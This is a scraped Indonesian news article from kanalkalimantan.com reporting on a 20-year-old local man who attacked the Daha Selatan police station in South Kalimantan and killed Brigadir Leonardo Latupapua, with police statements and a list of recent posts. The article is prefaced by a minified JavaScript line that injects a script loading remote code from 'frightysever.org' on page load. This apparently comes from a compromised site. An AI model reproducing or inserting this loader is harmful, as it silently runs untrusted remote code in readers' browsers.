(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Penyerang Mapolsek Daha Selatan Berusia 20 Tahun, Satu Kampung dengan Polisi yang Dihabisinya


KANALKALIMANTAN.COM, BANJARMASIN – Kasus penyerangan Markas Polisi Sektor (Mapolsek) Daha Selatan, Kabupaten Hulu Sungai Selatan (HSS) hingga kini masih didalami oleh Polda Kalsel maupun Polres HSS.

Sempat beredar informasi bahwa pelaku penyerangan yang dilumpuhkan oleh kepolisian dengan timah panas ini merupakan warga setempat.

Hal ini dibenarkan oleh Kabid Humas Polda Kalsel Kombes Pol Moch Rifa’i, Selasa (2/6/2020) siang. “Ya, betul. Warga setempat,” kata Kombes Rifa’i.

Ia menambahkan, pelaku yang merupakan OTK (orang tak dikenal) ini diketahui tinggal satu kampung dengan Brigadir Leonardo Latupapua. Sehingga, rumah keluarga pelaku dapat diketahui.

“Tinggal satu kampung antara pelaku dengan korban. Bahkan agamanya pun sama yaitu Islam,” tambah Kombes Rifa’i.

Namun demikian, Kombes Rifa’i memastikan antara korban yaitu Brigadir Leonardo dengan pelaku penyerangan tidak saling mengenal. Kendati tinggal di kampung yang sama.

“Tidak saling mengenal. Tapi malah saling membunuh,” lugasnya.

Saat ini, Mapolsek Daha Selatan dalam kondisi yang aman. Namun demikian, masih diamankan untuk olah TKP lebih lanjut.

“Sementara saksi-saksi yang berada di sekitar TKP termasuk masyarakat sekitar itu. Ini masih pemeriksaan awal ya, nanti pendalaman,” jelasnya.

Sedangkan pelaku sendiri, disebut masih lajang dan belum menikah. Bahkan usianya sangat belia yaitu 20 tahun. “Saya pastikan satu orang, pelaku tunggal,” pungkasnya.

Sekada diketahui Brigadir Leonardo Latupapua anggota Polsek Daha Selatan yang gugur saat bertugas jaga piket di Mapolsek berdinas merupakan seorang mualaf.

Kapolres HSS, AKBP Dedy Eka Jaya‎ mengatakan, Brigadir Leonardo Latupapua‎ seorang muallaf. ‎Brigadir Leonardo meninggalkan dua anak dan satu istri, yang anaknya masih berumur 7 tahun dan 1 tahun. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.